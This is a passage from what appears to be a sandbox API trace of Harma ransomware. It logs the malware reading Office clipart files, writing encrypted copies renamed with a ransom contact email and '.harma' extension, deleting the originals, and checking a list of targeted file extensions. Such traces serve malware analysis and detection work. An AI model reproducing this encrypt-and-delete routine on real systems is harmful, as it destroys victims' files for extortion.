Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.648] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.649] GetLastError () returned 0x0 [0171.649] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5c78, lpOverlapped=0x0) returned 1 [0171.715] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5c80, lpOverlapped=0x0) returned 1 [0171.716] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.716] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.717] SetEndOfFile (hFile=0x1b4) returned 1 [0171.717] CloseHandle (hObject=0x1b4) returned 1 [0171.717] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.717] SetEndOfFile (hFile=0x374) returned 1 [0171.719] CloseHandle (hObject=0x374) returned 1 [0171.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0171.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.720] lstrlenW (lpString=".doc") returned 4 [0171.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.720] lstrlenW (lpString=".docx") returned 5 [0171.720] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.720] lstrlenW (lpString=".pdf") returned 4 [0171.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.720] lstrlenW (lpString=".xls") returned 4 [0171.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.721] lstrlenW (lpString=".xlsx") returned 5 [0171.721] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.721] lstrlenW (lpString=".ppt") returned 4 [0171.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.721] lstrlenW (lpString=".zip") returned 4 [0171.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.721] lstrlenW (lpString=".rar") returned 4 [0171.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString=".bz2") returned 4 [0171.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString=".7z") returned 3 [0171.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.721] lstrlenW (lpString=".dbf") returned 4 [0171.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.721] lstrlenW (lpString=".1cd") returned 4 [0171.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.721] lstrlenW (lpString=".jpg") returned 4 [0171.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.721] lstrlenW (lpString=".doc") returned 4 [0171.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.721] lstrlenW (lpString=".docx") returned 5 [0171.721] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.721] lstrlenW (lpString=".pdf") returned 4 [0171.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.722] lstrlenW (lpString=".xls") returned 4 [0171.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.722] lstrlenW (lpString=".xlsx") returned 5 [0171.722] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.722] lstrlenW (lpString=".ppt") returned 4 [0171.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.722] lstrlenW (lpString=".zip") returned 4 [0171.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.722] lstrlenW (lpString=".rar") returned 4 [0171.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.722] lstrlenW (lpString=".bz2") returned 4 [0171.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.722] lstrlenW (lpString=".7z") returned 3 [0171.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.722] lstrlenW (lpString=".dbf") returned 4 [0171.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.722] lstrlenW (lpString=".1cd") returned 4 [0171.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63 [0171.722] lstrlenW (lpString=".jpg") returned 4 [0171.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.722] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.723] lstrlenW (lpString="J0107426.WMF") returned 12 [0171.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.723] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=11492) returned 1 [0171.723] CloseHandle (hObject=0x374) returned 1 [0171.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0171.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.724] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.724] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.725] GetLastError () returned 0x0 [0171.725] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2ce4, lpOverlapped=0x0) returned 1 [0171.749] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0171.750] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0171.750] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.750] SetEndOfFile (hFile=0x1b4) returned 1 [0171.750] CloseHandle (hObject=0x1b4) returned 1 [0171.750] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.750] SetEndOfFile (hFile=0x374) returned 1 [0171.752] CloseHandle (hObject=0x374) returned 1 [0171.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.754] lstrlenW (lpString=".doc") returned 4 [0171.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.754] lstrlenW (lpString=".docx") returned 5 [0171.754] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.754] lstrlenW (lpString=".pdf") returned 4 [0171.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.754] lstrlenW (lpString=".xls") returned 4 [0171.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.754] lstrlenW (lpString=".xlsx") returned 5 [0171.754] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.754] lstrlenW (lpString=".ppt") returned 4 [0171.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.754] lstrlenW (lpString=".zip") returned 4 [0171.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.754] lstrlenW (lpString=".rar") returned 4 [0171.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.754] lstrlenW (lpString=".bz2") returned 4 [0171.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.754] lstrlenW (lpString=".7z") returned 3 [0171.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.754] lstrlenW (lpString=".dbf") returned 4 [0171.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.755] lstrlenW (lpString=".1cd") returned 4 [0171.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.755] lstrlenW (lpString=".jpg") returned 4 [0171.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.755] lstrlenW (lpString=".doc") returned 4 [0171.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString=".docx") returned 5 [0171.755] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.755] lstrlenW (lpString=".pdf") returned 4 [0171.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString=".xls") returned 4 [0171.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.755] lstrlenW (lpString=".xlsx") returned 5 [0171.755] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.755] lstrlenW (lpString=".ppt") returned 4 [0171.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.755] lstrlenW (lpString=".zip") returned 4 [0171.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.755] lstrlenW (lpString=".rar") returned 4 [0171.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString=".bz2") returned 4 [0171.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.755] lstrlenW (lpString=".7z") returned 3 [0171.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.756] lstrlenW (lpString=".dbf") returned 4 [0171.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.756] lstrlenW (lpString=".1cd") returned 4 [0171.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0171.756] lstrlenW (lpString=".jpg") returned 4 [0171.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.756] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.756] lstrlenW (lpString="J0107450.WMF") returned 12 [0171.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.910] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4920) returned 1 [0171.910] CloseHandle (hObject=0x3ac) returned 1 [0171.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0171.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.910] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.911] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0171.912] GetLastError () returned 0x0 [0171.912] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1338, lpOverlapped=0x0) returned 1 [0172.943] WriteFile (in: hFile=0x1b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1340, lpOverlapped=0x0) returned 1 [0174.257] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0174.258] WriteFile (in: hFile=0x1b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.258] SetEndOfFile (hFile=0x1b0) returned 1 [0174.258] CloseHandle (hObject=0x1b0) returned 1 [0174.258] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0174.258] SetEndOfFile (hFile=0x3ac) returned 1 [0174.260] CloseHandle (hObject=0x3ac) returned 1 [0174.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0174.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.262] lstrlenW (lpString=".doc") returned 4 [0174.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.262] lstrlenW (lpString=".docx") returned 5 [0174.262] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.262] lstrlenW (lpString=".pdf") returned 4 [0174.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.262] lstrlenW (lpString=".xls") returned 4 [0174.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.262] lstrlenW (lpString=".xlsx") returned 5 [0174.262] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.262] lstrlenW (lpString=".ppt") returned 4 [0174.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.263] lstrlenW (lpString=".zip") returned 4 [0174.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.263] lstrlenW (lpString=".rar") returned 4 [0174.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString=".bz2") returned 4 [0174.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString=".7z") returned 3 [0174.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.263] lstrlenW (lpString=".dbf") returned 4 [0174.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.263] lstrlenW (lpString=".1cd") returned 4 [0174.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.263] lstrlenW (lpString=".jpg") returned 4 [0174.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.263] lstrlenW (lpString=".doc") returned 4 [0174.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.263] lstrlenW (lpString=".docx") returned 5 [0174.264] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.264] lstrlenW (lpString=".pdf") returned 4 [0174.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.264] lstrlenW (lpString=".xls") returned 4 [0174.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.264] lstrlenW (lpString=".xlsx") returned 5 [0174.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.264] lstrlenW (lpString=".ppt") returned 4 [0174.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.264] lstrlenW (lpString=".zip") returned 4 [0174.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.264] lstrlenW (lpString=".rar") returned 4 [0174.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.264] lstrlenW (lpString=".bz2") returned 4 [0174.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.264] lstrlenW (lpString=".7z") returned 3 [0174.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.264] lstrlenW (lpString=".dbf") returned 4 [0174.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.264] lstrlenW (lpString=".1cd") returned 4 [0174.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0174.265] lstrlenW (lpString=".jpg") returned 4 [0174.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.265] lstrlenW (lpString=".id-") returned 4 [0174.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3514d0 | out: hHeap=0x300000) returned 1 [0174.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef58 | out: hHeap=0x300000) returned 1 [0174.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a10260 | out: hHeap=0x300000) returned 1 [0174.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a20268 | out: hHeap=0x300000) returned 1 [0174.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c10020 | out: hHeap=0x300000) returned 1 [0174.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3514b8 | out: hHeap=0x300000) returned 1 [0174.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514b8 [0174.274] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514b8, Size=0x20) returned 0x41d2290 [0174.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514b8 [0174.275] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514b8, Size=0x20) returned 0x41d21c8 [0174.275] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.275] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.275] Wow64DisableWow64FsRedirection (in: OldValue=0x2ffff58 | out: OldValue=0x2ffff58*=0x1) returned 1 [0174.275] lstrlenW (lpString="kernel32.dll") returned 12 [0174.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.276] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 57 os_tid = 0x6e4 [0132.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a30480 [0132.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3a40488 [0132.297] RtlAllocateHeap 